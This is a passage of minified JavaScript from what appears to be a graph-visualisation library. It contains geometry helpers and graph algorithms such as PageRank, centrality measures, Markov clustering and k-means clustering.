n=arguments.length>2&&arguments[2]!==undefined?arguments[2]:t.length;var a=arguments.length>3&&arguments[3]!==undefined?arguments[3]:true;var i=arguments.length>4&&arguments[4]!==undefined?arguments[4]:true;var o=arguments.length>5&&arguments[5]!==undefined?arguments[5]:true;if(a){t=t.slice(r,n)}else{if(n<t.length){t.splice(n,t.length-n)}if(r>0){t.splice(0,r)}}var s=0;for(var u=t.length-1;u>=0;u--){var l=t[u];if(o){if(!isFinite(l)){t[u]=-Infinity;s++}}else{t.splice(u,1)}}if(i){t.sort((function(e,t){return e-t}))}var f=t.length;var c=Math.floor(f/2);if(f%2!==0){return t[c+1+s]}else{return(t[c-1+s]+t[c+s])/2}};var Mt=function e(t){return Math.PI*t/180};var It=function e(t,r){return Math.atan2(r,t)-Math.PI/2};var Ot=Math.log2||function(e){return Math.log(e)/Math.log(2)};var Nt=function e(t){if(t>0){return 1}else if(t<0){return-1}else{return 0}};var zt=function e(t,r){return Math.sqrt(At(t,r))};var At=function e(t,r){var n=r.x-t.x;var a=r.y-t.y;return n*n+a*a};var Lt=function e(t){var r=t.length;var n=0;for(var a=0;a<r;a++){n+=t[a]}for(var i=0;i<r;i++){t[i]=t[i]/n}return t};var Bt=function e(t,r,n,a){return(1-a)*(1-a)*t+2*(1-a)*a*r+a*a*n};var jt=function e(t,r,n,a){return{x:Bt(t.x,r.x,n.x,a),y:Bt(t.y,r.y,n.y,a)}};var Rt=function e(t,r,n,a){var i={x:r.x-t.x,y:r.y-t.y};var o=zt(t,r);var s={x:i.x/o,y:i.y/o};n=n==null?0:n;a=a!=null?a:n*o;return{x:t.x+s.x*a,y:t.y+s.y*a}};var Ft=function e(t,r,n){return Math.max(t,Math.min(n,r))};var Vt=function e(t){if(t==null){return{x1:Infinity,y1:Infinity,x2:-Infinity,y2:-Infinity,w:0,h:0}}else if(t.x1!=null&&t.y1!=null){if(t.x2!=null&&t.y2!=null&&t.x2>=t.x1&&t.y2>=t.y1){return{x1:t.x1,y1:t.y1,x2:t.x2,y2:t.y2,w:t.x2-t.x1,h:t.y2-t.y1}}else if(t.w!=null&&t.h!=null&&t.w>=0&&t.h>=0){return{x1:t.x1,y1:t.y1,x2:t.x1+t.w,y2:t.y1+t.h,w:t.w,h:t.h}}}};var qt=function e(t){return{x1:t.x1,x2:t.x2,w:t.w,y1:t.y1,y2:t.y2,h:t.h}};var Gt=function e(t){t.x1=Infinity;t.y1=Infinity;t.x2=-Infinity;t.y2=-Infinity;t.w=0;t.h=0};var Yt=function e(t,r){t.x1=Math.min(t.x1,r.x1);t.x2=Math.max(t.x2,r.x2);t.w=t.x2-t.x1;t.y1=Math.min(t.y1,r.y1);t.y2=Math.max(t.y2,r.y2);t.h=t.y2-t.y1};var Xt=function e(t,r,n){t.x1=Math.min(t.x1,r);t.x2=Math.max(t.x2,r);t.w=t.x2-t.x1;t.y1=Math.min(t.y1,n);t.y2=Math.max(t.y2,n);t.h=t.y2-t.y1};var Wt=function e(t){var r=arguments.length>1&&arguments[1]!==undefined?arguments[1]:0;t.x1-=r;t.x2+=r;t.y1-=r;t.y2+=r;t.w=t.x2-t.x1;t.h=t.y2-t.y1;return t};var Ht=function e(t){var r=arguments.length>1&&arguments[1]!==undefined?arguments[1]:[0];var n,a,i,o;if(r.length===1){n=a=i=o=r[0]}else if(r.length===2){n=i=r[0];o=a=r[1]}else if(r.length===4){var s=h(r,4);n=s[0];a=s[1];i=s[2];o=s[3]}t.x1-=o;t.x2+=a;t.y1-=n;t.y2+=i;t.w=t.x2-t.x1;t.h=t.y2-t.y1;return t};var Ut=function e(t,r){t.x1=r.x1;t.y1=r.y1;t.x2=r.x2;t.y2=r.y2;t.w=t.x2-t.x1;t.h=t.y2-t.y1};var Kt=function e(t,r){if(t.x1>r.x2){return false}if(r.x1>t.x2){return false}if(t.x2<r.x1){return false}if(r.x2<t.x1){return false}if(t.y2<r.y1){return false}if(r.y2<t.y1){return false}if(t.y1>r.y2){return false}if(r.y1>t.y2){return false}return true};var $t=function e(t,r,n){return t.x1<=r&&r<=t.x2&&t.y1<=n&&n<=t.y2};var Zt=function e(t,r){return $t(t,r.x,r.y)};var Qt=function e(t,r){return $t(t,r.x1,r.y1)&&$t(t,r.x2,r.y2)};var Jt=function e(t,r,n,a,i,o,s){var u=Er(i,o);var l=i/2;var f=o/2;var c;{var v=n-l+u-s;var d=a-f-s;var h=n+l-u+s;var p=d;c=pr(t,r,n,a,v,d,h,p,false);if(c.length>0){return c}}{var g=n+l+s;var y=a-f+u-s;var m=g;var b=a+f-u+s;c=pr(t,r,n,a,g,y,m,b,false);if(c.length>0){return c}}{var x=n-l+u-s;var w=a+f+s;var E=n+l-u+s;var _=w;c=pr(t,r,n,a,x,w,E,_,false);if(c.length>0){return c}}{var k=n-l-s;var S=a-f+u-s;var C=k;var D=a+f-u+s;c=pr(t,r,n,a,k,S,C,D,false);if(c.length>0){return c}}var T;{var P=n-l+u;var M=a-f+u;T=dr(t,r,n,a,P,M,u+s);if(T.length>0&&T[0]<=P&&T[1]<=M){return[T[0],T[1]]}}{var I=n+l-u;var O=a-f+u;T=dr(t,r,n,a,I,O,u+s);if(T.length>0&&T[0]>=I&&T[1]<=O){return[T[0],T[1]]}}{var N=n+l-u;var z=a+f-u;T=dr(t,r,n,a,N,z,u+s);if(T.length>0&&T[0]>=N&&T[1]>=z){return[T[0],T[1]]}}{var A=n-l+u;var L=a+f-u;T=dr(t,r,n,a,A,L,u+s);if(T.length>0&&T[0]<=A&&T[1]>=L){return[T[0],T[1]]}}return[]};var er=function e(t,r,n,a,i,o,s){var u=s;var l=Math.min(n,i);var f=Math.max(n,i);var c=Math.min(a,o);var v=Math.max(a,o);return l-u<=t&&t<=f+u&&c-u<=r&&r<=v+u};var tr=function e(t,r,n,a,i,o,s,u,l){var f={x1:Math.min(n,s,i)-l,x2:Math.max(n,s,i)+l,y1:Math.min(a,u,o)-l,y2:Math.max(a,u,o)+l};if(t<f.x1||t>f.x2||r<f.y1||r>f.y2){return false}else{return true}};var rr=function e(t,r,n,a){n-=a;var i=r*r-4*t*n;if(i<0){return[]}var o=Math.sqrt(i);var s=2*t;var u=(-r+o)/s;var l=(-r-o)/s;return[u,l]};var nr=function e(t,r,n,a,i){var o=1e-5;if(t===0){t=o}r/=t;n/=t;a/=t;var s,u,l,f,c,v,d,h;u=(3*n-r*r)/9;l=-(27*a)+r*(9*n-2*(r*r));l/=54;s=u*u*u+l*l;i[1]=0;d=r/3;if(s>0){c=l+Math.sqrt(s);c=c<0?-Math.pow(-c,1/3):Math.pow(c,1/3);v=l-Math.sqrt(s);v=v<0?-Math.pow(-v,1/3):Math.pow(v,1/3);i[0]=-d+c+v;d+=(c+v)/2;i[4]=i[2]=-d;d=Math.sqrt(3)*(-v+c)/2;i[3]=d;i[5]=-d;return}i[5]=i[3]=0;if(s===0){h=l<0?-Math.pow(-l,1/3):Math.pow(l,1/3);i[0]=-d+2*h;i[4]=i[2]=-(h+d);return}u=-u;f=u*u*u;f=Math.acos(l/Math.sqrt(f));h=2*Math.sqrt(u);i[0]=-d+h*Math.cos(f/3);i[2]=-d+h*Math.cos((f+2*Math.PI)/3);i[4]=-d+h*Math.cos((f+4*Math.PI)/3);return};var ar=function e(t,r,n,a,i,o,s,u){var l=1*n*n-4*n*i+2*n*s+4*i*i-4*i*s+s*s+a*a-4*a*o+2*a*u+4*o*o-4*o*u+u*u;var f=1*9*n*i-3*n*n-3*n*s-6*i*i+3*i*s+9*a*o-3*a*a-3*a*u-6*o*o+3*o*u;var c=1*3*n*n-6*n*i+n*s-n*t+2*i*i+2*i*t-s*t+3*a*a-6*a*o+a*u-a*r+2*o*o+2*o*r-u*r;var v=1*n*i-n*n+n*t-i*t+a*o-a*a+a*r-o*r;var d=[];nr(l,f,c,v,d);var h=1e-7;var p=[];for(var g=0;g<6;g+=2){if(Math.abs(d[g+1])<h&&d[g]>=0&&d[g]<=1){p.push(d[g])}}p.push(1);p.push(0);var y=-1;var m,b,x;for(var w=0;w<p.length;w++){m=Math.pow(1-p[w],2)*n+2*(1-p[w])*p[w]*i+p[w]*p[w]*s;b=Math.pow(1-p[w],2)*a+2*(1-p[w])*p[w]*o+p[w]*p[w]*u;x=Math.pow(m-t,2)+Math.pow(b-r,2);if(y>=0){if(x<y){y=x}}else{y=x}}return y};var ir=function e(t,r,n,a,i,o){var s=[t-n,r-a];var u=[i-n,o-a];var l=u[0]*u[0]+u[1]*u[1];var f=s[0]*s[0]+s[1]*s[1];var c=s[0]*u[0]+s[1]*u[1];var v=c*c/l;if(c<0){return f}if(v>l){return(t-i)*(t-i)+(r-o)*(r-o)}return f-v};var or=function e(t,r,n){var a,i,o,s;var u;var l=0;for(var f=0;f<n.length/2;f++){a=n[f*2];i=n[f*2+1];if(f+1<n.length/2){o=n[(f+1)*2];s=n[(f+1)*2+1]}else{o=n[(f+1-n.length/2)*2];s=n[(f+1-n.length/2)*2+1]}if(a==t&&o==t);else if(a>=t&&t>=o||a<=t&&t<=o){u=(t-a)/(o-a)*(s-i)+i;if(u>r){l++}}else{continue}}if(l%2===0){return false}else{return true}};var sr=function e(t,r,n,a,i,o,s,u,l){var f=new Array(n.length);var c;if(u[0]!=null){c=Math.atan(u[1]/u[0]);if(u[0]<0){c=c+Math.PI/2}else{c=-c-Math.PI/2}}else{c=u}var v=Math.cos(-c);var d=Math.sin(-c);for(var h=0;h<f.length/2;h++){f[h*2]=o/2*(n[h*2]*v-n[h*2+1]*d);f[h*2+1]=s/2*(n[h*2+1]*v+n[h*2]*d);f[h*2]+=a;f[h*2+1]+=i}var p;if(l>0){var g=fr(f,-l);p=lr(g)}else{p=f}return or(t,r,p)};var ur=function e(t,r,n,a,i,o,s){var u=new Array(n.length);var l=o/2;var f=s/2;var c=_r(o,s);var v=c*c;for(var d=0;d<n.length/4;d++){var h=void 0,p=void 0;if(d===0){h=n.length-2}else{h=d*4-2}p=d*4+2;var g=a+l*n[d*4];var y=i+f*n[d*4+1];var m=-n[h]*n[p]-n[h+1]*n[p+1];var b=c/Math.tan(Math.acos(m)/2);var x=g-b*n[h];var w=y-b*n[h+1];var E=g+b*n[p];var _=y+b*n[p+1];u[d*4]=x;u[d*4+1]=w;u[d*4+2]=E;u[d*4+3]=_;var k=n[h+1];var S=-n[h];var C=k*n[p]+S*n[p+1];if(C<0){k*=-1;S*=-1}var D=x+k*c;var T=w+S*c;var P=Math.pow(D-t,2)+Math.pow(T-r,2);if(P<=v){return true}}return or(t,r,u)};var lr=function e(t){var r=new Array(t.length/2);var n,a,i,o;var s,u,l,f;for(var c=0;c<t.length/4;c++){n=t[c*4];a=t[c*4+1];i=t[c*4+2];o=t[c*4+3];if(c<t.length/4-1){s=t[(c+1)*4];u=t[(c+1)*4+1];l=t[(c+1)*4+2];f=t[(c+1)*4+3]}else{s=t[0];u=t[1];l=t[2];f=t[3]}var v=pr(n,a,i,o,s,u,l,f,true);r[c*2]=v[0];r[c*2+1]=v[1]}return r};var fr=function e(t,r){var n=new Array(t.length*2);var a,i,o,s;for(var u=0;u<t.length/2;u++){a=t[u*2];i=t[u*2+1];if(u<t.length/2-1){o=t[(u+1)*2];s=t[(u+1)*2+1]}else{o=t[0];s=t[1]}var l=s-i;var f=-(o-a);var c=Math.sqrt(l*l+f*f);var v=l/c;var d=f/c;n[u*4]=a+v*r;n[u*4+1]=i+d*r;n[u*4+2]=o+v*r;n[u*4+3]=s+d*r}return n};var cr=function e(t,r,n,a,i,o){var s=n-t;var u=a-r;s/=i;u/=o;var l=Math.sqrt(s*s+u*u);var f=l-1;if(f<0){return[]}var c=f/l;return[(n-t)*c+t,(a-r)*c+r]};var vr=function e(t,r,n,a,i,o,s){t-=i;r-=o;t/=n/2+s;r/=a/2+s;return t*t+r*r<=1};var dr=function e(t,r,n,a,i,o,s){var u=[n-t,a-r];var l=[t-i,r-o];var f=u[0]*u[0]+u[1]*u[1];var c=2*(l[0]*u[0]+l[1]*u[1]);var v=l[0]*l[0]+l[1]*l[1]-s*s;var d=c*c-4*f*v;if(d<0){return[]}var h=(-c+Math.sqrt(d))/(2*f);var p=(-c-Math.sqrt(d))/(2*f);var g=Math.min(h,p);var y=Math.max(h,p);var m=[];if(g>=0&&g<=1){m.push(g)}if(y>=0&&y<=1){m.push(y)}if(m.length===0){return[]}var b=m[0]*u[0]+t;var x=m[0]*u[1]+r;if(m.length>1){if(m[0]==m[1]){return[b,x]}else{var w=m[1]*u[0]+t;var E=m[1]*u[1]+r;return[b,x,w,E]}}else{return[b,x]}};var hr=function e(t,r,n){if(r<=t&&t<=n||n<=t&&t<=r){return t}else if(t<=r&&r<=n||n<=r&&r<=t){return r}else{return n}};var pr=function e(t,r,n,a,i,o,s,u,l){var f=t-i;var c=n-t;var v=s-i;var d=r-o;var h=a-r;var p=u-o;var g=v*d-p*f;var y=c*d-h*f;var m=p*c-v*h;if(m!==0){var b=g/m;var x=y/m;var w=.001;var E=0-w;var _=1+w;if(E<=b&&b<=_&&E<=x&&x<=_){return[t+b*c,r+b*h]}else{if(!l){return[]}else{return[t+b*c,r+b*h]}}}else{if(g===0||y===0){if(hr(t,n,s)===s){return[s,u]}if(hr(t,n,i)===i){return[i,o]}if(hr(i,s,n)===n){return[n,a]}return[]}else{return[]}}};var gr=function e(t,r,n,a,i,o,s,u){var l=[];var f;var c=new Array(n.length);var v=true;if(o==null){v=false}var d;if(v){for(var h=0;h<c.length/2;h++){c[h*2]=n[h*2]*o+a;c[h*2+1]=n[h*2+1]*s+i}if(u>0){var p=fr(c,-u);d=lr(p)}else{d=c}}else{d=n}var g,y,m,b;for(var x=0;x<d.length/2;x++){g=d[x*2];y=d[x*2+1];if(x<d.length/2-1){m=d[(x+1)*2];b=d[(x+1)*2+1]}else{m=d[0];b=d[1]}f=pr(t,r,a,i,g,y,m,b);if(f.length!==0){l.push(f[0],f[1])}}return l};var yr=function e(t,r,n,a,i,o,s,u){var l=[];var f;var c=new Array(n.length);var v=o/2;var d=s/2;var h=_r(o,s);for(var p=0;p<n.length/4;p++){var g=void 0,y=void 0;if(p===0){g=n.length-2}else{g=p*4-2}y=p*4+2;var m=a+v*n[p*4];var b=i+d*n[p*4+1];var x=-n[g]*n[y]-n[g+1]*n[y+1];var w=h/Math.tan(Math.acos(x)/2);var E=m-w*n[g];var _=b-w*n[g+1];var k=m+w*n[y];var S=b+w*n[y+1];if(p===0){c[n.length-2]=E;c[n.length-1]=_}else{c[p*4-2]=E;c[p*4-1]=_}c[p*4]=k;c[p*4+1]=S;var C=n[g+1];var D=-n[g];var T=C*n[y]+D*n[y+1];if(T<0){C*=-1;D*=-1}var P=E+C*h;var M=_+D*h;f=dr(t,r,a,i,P,M,h);if(f.length!==0){l.push(f[0],f[1])}}for(var I=0;I<c.length/4;I++){f=pr(t,r,a,i,c[I*4],c[I*4+1],c[I*4+2],c[I*4+3],false);if(f.length!==0){l.push(f[0],f[1])}}if(l.length>2){var O=[l[0],l[1]];var N=Math.pow(O[0]-t,2)+Math.pow(O[1]-r,2);for(var z=1;z<l.length/2;z++){var A=Math.pow(l[z*2]-t,2)+Math.pow(l[z*2+1]-r,2);if(A<=N){O[0]=l[z*2];O[1]=l[z*2+1];N=A}}return O}return l};var mr=function e(t,r,n){var a=[t[0]-r[0],t[1]-r[1]];var i=Math.sqrt(a[0]*a[0]+a[1]*a[1]);var o=(i-n)/i;if(o<0){o=1e-5}return[r[0]+o*a[0],r[1]+o*a[1]]};var br=function e(t,r){var n=wr(t,r);n=xr(n);return n};var xr=function e(t){var r,n;var a=t.length/2;var i=Infinity,o=Infinity,s=-Infinity,u=-Infinity;for(var l=0;l<a;l++){r=t[2*l];n=t[2*l+1];i=Math.min(i,r);s=Math.max(s,r);o=Math.min(o,n);u=Math.max(u,n)}var f=2/(s-i);var c=2/(u-o);for(var v=0;v<a;v++){r=t[2*v]=t[2*v]*f;n=t[2*v+1]=t[2*v+1]*c;i=Math.min(i,r);s=Math.max(s,r);o=Math.min(o,n);u=Math.max(u,n)}if(o<-1){for(var d=0;d<a;d++){n=t[2*d+1]=t[2*d+1]+(-1-o)}}return t};var wr=function e(t,r){var n=1/t*2*Math.PI;var a=t%2===0?Math.PI/2+n/2:Math.PI/2;a+=r;var i=new Array(t*2);var o;for(var s=0;s<t;s++){o=s*n+a;i[2*s]=Math.cos(o);i[2*s+1]=Math.sin(-o)}return i};var Er=function e(t,r){return Math.min(t/4,r/4,8)};var _r=function e(t,r){return Math.min(t/10,r/10,8)};var kr=function e(){return 8};var Sr=function e(t,r,n){return[t-2*r+n,2*(r-t),t]};var Cr=function e(t,r){return{heightOffset:Math.min(15,.05*r),widthOffset:Math.min(100,.25*t),ctrlPtOffsetPct:.05}};var Dr=Ke({dampingFactor:.8,precision:1e-6,iterations:200,weight:function e(t){return 1}});var Tr={pageRank:function e(t){var r=Dr(t),n=r.dampingFactor,a=r.precision,i=r.iterations,o=r.weight;var s=this._private.cy;var u=this.byGroup(),l=u.nodes,f=u.edges;var c=l.length;var v=c*c;var d=f.length;var h=new Array(v);var p=new Array(c);var g=(1-n)/c;for(var y=0;y<c;y++){for(var m=0;m<c;m++){var b=y*c+m;h[b]=0}p[y]=0}for(var x=0;x<d;x++){var w=f[x];var E=w.data("source");var _=w.data("target");if(E===_){continue}var k=l.indexOfId(E);var S=l.indexOfId(_);var C=o(w);var D=S*c+k;h[D]+=C;p[k]+=C}var T=1/c+g;for(var P=0;P<c;P++){if(p[P]===0){for(var M=0;M<c;M++){var I=M*c+P;h[I]=T}}else{for(var O=0;O<c;O++){var N=O*c+P;h[N]=h[N]/p[P]+g}}}var z=new Array(c);var A=new Array(c);var L;for(var B=0;B<c;B++){z[B]=1}for(var j=0;j<i;j++){for(var R=0;R<c;R++){A[R]=0}for(var F=0;F<c;F++){for(var V=0;V<c;V++){var q=F*c+V;A[F]+=h[q]*z[V]}}Lt(A);L=z;z=A;A=L;var G=0;for(var Y=0;Y<c;Y++){var X=L[Y]-z[Y];G+=X*X}if(G<a){break}}var W={rank:function e(t){t=s.collection(t)[0];return z[l.indexOf(t)]}};return W}};var Pr=Ke({root:null,weight:function e(t){return 1},directed:false,alpha:0});var Mr={degreeCentralityNormalized:function e(t){t=Pr(t);var r=this.cy();var n=this.nodes();var a=n.length;if(!t.directed){var i={};var o=0;for(var s=0;s<a;s++){var u=n[s];t.root=u;var l=this.degreeCentrality(t);if(o<l.degree){o=l.degree}i[u.id()]=l.degree}return{degree:function e(t){if(o===0){return 0}if(C(t)){t=r.filter(t)}return i[t.id()]/o}}}else{var f={};var c={};var v=0;var d=0;for(var h=0;h<a;h++){var p=n[h];var g=p.id();t.root=p;var y=this.degreeCentrality(t);if(v<y.indegree)v=y.indegree;if(d<y.outdegree)d=y.outdegree;f[g]=y.indegree;c[g]=y.outdegree}return{indegree:function e(t){if(v==0){return 0}if(C(t)){t=r.filter(t)}return f[t.id()]/v},outdegree:function e(t){if(d===0){return 0}if(C(t)){t=r.filter(t)}return c[t.id()]/d}}}},degreeCentrality:function e(t){t=Pr(t);var r=this.cy();var n=this;var a=t,i=a.root,o=a.weight,s=a.directed,u=a.alpha;i=r.collection(i)[0];if(!s){var l=i.connectedEdges().intersection(n);var f=l.length;var c=0;for(var v=0;v<l.length;v++){c+=o(l[v])}return{degree:Math.pow(f,1-u)*Math.pow(c,u)}}else{var d=i.connectedEdges();var h=d.filter((function(e){return e.target().same(i)&&n.has(e)}));var p=d.filter((function(e){return e.source().same(i)&&n.has(e)}));var g=h.length;var y=p.length;var m=0;var b=0;for(var x=0;x<h.length;x++){m+=o(h[x])}for(var w=0;w<p.length;w++){b+=o(p[w])}return{indegree:Math.pow(g,1-u)*Math.pow(m,u),outdegree:Math.pow(y,1-u)*Math.pow(b,u)}}}};Mr.dc=Mr.degreeCentrality;Mr.dcn=Mr.degreeCentralityNormalised=Mr.degreeCentralityNormalized;var Ir=Ke({harmonic:true,weight:function e(){return 1},directed:false,root:null});var Or={closenessCentralityNormalized:function e(t){var r=Ir(t),n=r.harmonic,a=r.weight,i=r.directed;var o=this.cy();var s={};var u=0;var l=this.nodes();var f=this.floydWarshall({weight:a,directed:i});for(var c=0;c<l.length;c++){var v=0;var d=l[c];for(var h=0;h<l.length;h++){if(c!==h){var p=f.distance(d,l[h]);if(n){v+=1/p}else{v+=p}}}if(!n){v=1/v}if(u<v){u=v}s[d.id()]=v}return{closeness:function e(t){if(u==0){return 0}if(C(t)){t=o.filter(t)[0].id()}else{t=t.id()}return s[t]/u}}},closenessCentrality:function e(t){var r=Ir(t),n=r.root,a=r.weight,i=r.directed,o=r.harmonic;n=this.filter(n)[0];var s=this.dijkstra({root:n,weight:a,directed:i});var u=0;var l=this.nodes();for(var f=0;f<l.length;f++){var c=l[f];if(!c.same(n)){var v=s.distanceTo(c);if(o){u+=1/v}else{u+=v}}}return o?u:1/u}};Or.cc=Or.closenessCentrality;Or.ccn=Or.closenessCentralityNormalised=Or.closenessCentralityNormalized;var Nr=Ke({weight:null,directed:false});var zr={betweennessCentrality:function e(t){var r=Nr(t),n=r.directed,a=r.weight;var o=a!=null;var s=this.cy();var u=this.nodes();var l={};var f={};var c=0;var v={set:function e(t,r){f[t]=r;if(r>c){c=r}},get:function e(t){return f[t]}};for(var d=0;d<u.length;d++){var h=u[d];var p=h.id();if(n){l[p]=h.outgoers().nodes()}else{l[p]=h.openNeighborhood().nodes()}v.set(p,0)}var g=function e(t){var r=u[t].id();var n=[];var f={};var c={};var d={};var h=new i((function(e,t){return d[e]-d[t]}));for(var p=0;p<u.length;p++){var g=u[p].id();f[g]=[];c[g]=0;d[g]=Infinity}c[r]=1;d[r]=0;h.push(r);while(!h.empty()){var y=h.pop();n.push(y);if(o){for(var m=0;m<l[y].length;m++){var b=l[y][m];var x=s.getElementById(y);var w=void 0;if(x.edgesTo(b).length>0){w=x.edgesTo(b)[0]}else{w=b.edgesTo(x)[0]}var E=a(w);b=b.id();if(d[b]>d[y]+E){d[b]=d[y]+E;if(h.nodes.indexOf(b)<0){h.push(b)}else{h.updateItem(b)}c[b]=0;f[b]=[]}if(d[b]==d[y]+E){c[b]=c[b]+c[y];f[b].push(y)}}}else{for(var _=0;_<l[y].length;_++){var k=l[y][_].id();if(d[k]==Infinity){h.push(k);d[k]=d[y]+1}if(d[k]==d[y]+1){c[k]=c[k]+c[y];f[k].push(y)}}}}var S={};for(var C=0;C<u.length;C++){S[u[C].id()]=0}while(n.length>0){var D=n.pop();for(var T=0;T<f[D].length;T++){var P=f[D][T];S[P]=S[P]+c[P]/c[D]*(1+S[D])}if(D!=u[t].id()){v.set(D,v.get(D)+S[D])}}};for(var y=0;y<u.length;y++){g(y)}var m={betweenness:function e(t){var r=s.collection(t).id();return v.get(r)},betweennessNormalized:function e(t){if(c==0){return 0}var r=s.collection(t).id();return v.get(r)/c}};m.betweennessNormalised=m.betweennessNormalized;return m}};zr.bc=zr.betweennessCentrality;var Ar=Ke({expandFactor:2,inflateFactor:2,multFactor:1,maxIterations:20,attributes:[function(e){return 1}]});var Lr=function e(t){return Ar(t)};var Br=function e(t,r){var n=0;for(var a=0;a<r.length;a++){n+=r[a](t)}return n};var jr=function e(t,r,n){for(var a=0;a<r;a++){t[a*r+a]=n}};var Rr=function e(t,r){var n;for(var a=0;a<r;a++){n=0;for(var i=0;i<r;i++){n+=t[i*r+a]}for(var o=0;o<r;o++){t[o*r+a]=t[o*r+a]/n}}};var Fr=function e(t,r,n){var a=new Array(n*n);for(var i=0;i<n;i++){for(var o=0;o<n;o++){a[i*n+o]=0}for(var s=0;s<n;s++){for(var u=0;u<n;u++){a[i*n+u]+=t[i*n+s]*r[s*n+u]}}}return a};var Vr=function e(t,r,n){var a=t.slice(0);for(var i=1;i<n;i++){t=Fr(t,a,r)}return t};var qr=function e(t,r,n){var a=new Array(r*r);for(var i=0;i<r*r;i++){a[i]=Math.pow(t[i],n)}Rr(a,r);return a};var Gr=function e(t,r,n,a){for(var i=0;i<n;i++){var o=Math.round(t[i]*Math.pow(10,a))/Math.pow(10,a);var s=Math.round(r[i]*Math.pow(10,a))/Math.pow(10,a);if(o!==s){return false}}return true};var Yr=function e(t,r,n,a){var i=[];for(var o=0;o<r;o++){var s=[];for(var u=0;u<r;u++){if(Math.round(t[o*r+u]*1e3)/1e3>0){s.push(n[u])}}if(s.length!==0){i.push(a.collection(s))}}return i};var Xr=function e(t,r){for(var n=0;n<t.length;n++){if(!r[n]||t[n].id()!==r[n].id()){return false}}return true};var Wr=function e(t){for(var r=0;r<t.length;r++){for(var n=0;n<t.length;n++){if(r!=n&&Xr(t[r],t[n])){t.splice(n,1)}}}return t};var Hr=function e(t){var r=this.nodes();var n=this.edges();var a=this.cy();var i=Lr(t);var o={};for(var s=0;s<r.length;s++){o[r[s].id()]=s}var u=r.length,l=u*u;var f=new Array(l),c;for(var v=0;v<l;v++){f[v]=0}for(var d=0;d<n.length;d++){var h=n[d];var p=o[h.source().id()];var g=o[h.target().id()];var y=Br(h,i.attributes);f[p*u+g]+=y;f[g*u+p]+=y}jr(f,u,i.multFactor);Rr(f,u);var m=true;var b=0;while(m&&b<i.maxIterations){m=false;c=Vr(f,u,i.expandFactor);f=qr(c,u,i.inflateFactor);if(!Gr(f,c,l,4)){m=true}b++}var x=Yr(f,u,r,a);x=Wr(x);return x};var Ur={markovClustering:Hr,mcl:Hr};var Kr=function e(t){return t};var $r=function e(t,r){return Math.abs(r-t)};var Zr=function e(t,r,n){return t+$r(r,n)};var Qr=function e(t,r,n){return t+Math.pow(n-r,2)};var Jr=function e(t){return Math.sqrt(t)};var en=function e(t,r,n){return Math.max(t,$r(r,n))};var tn=function e(t,r,n,a,i){var o=arguments.length>5&&arguments[5]!==undefined?arguments[5]:Kr;var s=a;var u,l;for(var f=0;f<t;f++){u=r(f);l=n(f);s=i(s,u,l)}return o(s)};var rn={euclidean:function e(t,r,n){if(t>=2){return tn(t,r,n,0,Qr,Jr)}else{return tn(t,r,n,0,Zr)}},squaredEuclidean:function e(t,r,n){return tn(t,r,n,0,Qr)},manhattan:function e(t,r,n){return tn(t,r,n,0,Zr)},max:function e(t,r,n){return tn(t,r,n,-Infinity,en)}};rn["squared-euclidean"]=rn["squaredEuclidean"];rn["squaredeuclidean"]=rn["squaredEuclidean"];function nn(e,t,r,n,a,i){var o;if(D(e)){o=e}else{o=rn[e]||rn.euclidean}if(t===0&&D(e)){return o(a,i)}else{return o(t,r,n,a,i)}}var an=Ke({k:2,m:2,sensitivityThreshold:1e-4,distance:"euclidean",maxIterations:10,attributes:[],testMode:false,testCentroids:null});var on=function e(t){return an(t)};var sn=function e(t,r,n,a,i){var o=i!=="kMedoids";var s=o?function(e){return n[e]}:function(e){return a[e](n)};var u=function e(t){return a[t](r)};var l=n;var f=r;return nn(t,a.length,s,u,l,f)};var un=function e(t,r,n){var a=n.length;var i=new Array(a);var o=new Array(a);var s=new Array(r);var u=null;for(var l=0;l<a;l++){i[l]=t.min(n[l]).value;o[l]=t.max(n[l]).value}for(var f=0;f<r;f++){u=[];for(var c=0;c<a;c++){u[c]=Math.random()*(o[c]-i[c])+i[c]}s[f]=u}return s};var ln=function e(t,r,n,a,i){var o=Infinity;var s=0;for(var u=0;u<r.length;u++){var l=sn(n,t,r[u],a,i);if(l<o){o=l;s=u}}return s};var fn=function e(t,r,n){var a=[];var i=null;for(var o=0;o<r.length;o++){i=r[o];if(n[i.id()]===t){a.push(i)}}return a};var cn=function e(t,r,n){return Math.abs(r-t)<=n};var vn=function e(t,r,n){for(var a=0;a<t.length;a++){for(var i=0;i<t[a].length;i++){var o=Math.abs(t[a][i]-r[a][i]);if(o>n){return false}}}return true};var dn=function e(t,r,n){for(var a=0;a<n;a++){if(t===r[a])return true}return false};var hn=function e(t,r){var n=new Array(r);if(t.length<50){for(var a=0;a<r;a++){var i=t[Math.floor(Math.random()*t.length)];while(dn(i,n,a)){i=t[Math.floor(Math.random()*t.length)]}n[a]=i}}else{for(var o=0;o<r;o++){n[o]=t[Math.floor(Math.random()*t.length)]}}return n};var pn=function e(t,r,n){var a=0;for(var i=0;i<r.length;i++){a+=sn("manhattan",r[i],t,n,"kMedoids")}return a};var gn=function e(t){var r=this.cy();var n=this.nodes();var a=null;var i=on(t);var o=new Array(i.k);var s={};var u;if(i.testMode){if(typeof i.testCentroids==="number"){u=un(n,i.k,i.attributes)}else if(l(i.testCentroids)==="object"){u=i.testCentroids}else{u=un(n,i.k,i.attributes)}}else{u=un(n,i.k,i.attributes)}var f=true;var c=0;while(f&&c<i.maxIterations){for(var v=0;v<n.length;v++){a=n[v];s[a.id()]=ln(a,u,i.distance,i.attributes,"kMeans")}f=false;for(var d=0;d<i.k;d++){var h=fn(d,n,s);if(h.length===0){continue}var p=i.attributes.length;var g=u[d];var y=new Array(p);var m=new Array(p);for(var b=0;b<p;b++){m[b]=0;for(var x=0;x<h.length;x++){a=h[x];m[b]+=i.attributes[b](a)}y[b]=m[b]/h.length;if(!cn(y[b],g[b],i.sensitivityThreshold)){f=true}}u[d]=y;o[d]=r.collection(h)}c++}return o};var yn=function e(t){var r=this.cy();var n=this.nodes();var a=null;var i=on(t);var o=new Array(i.k);var s;var u={};var f;var c=new Array(i.k);if(i.testMode){if(typeof i.testCentroids==="number");else if(l(i.testCentroids)==="object"){s=i.testCentroids}else{s=hn(n,i.k)}}else{s=hn(n,i.k)}var v=true;var d=0;while(v&&d<i.maxIterations){for(var h=0;h<n.length;h++){a=n[h];u[a.id()]=ln(a,s,i.distance,i.attributes,"kMedoids")}v=false;for(var p=0;p<s.length;p++){var g=fn(p,n,u);if(g.length===0){continue}c[p]=pn(s[p],g,i.attributes);for(var 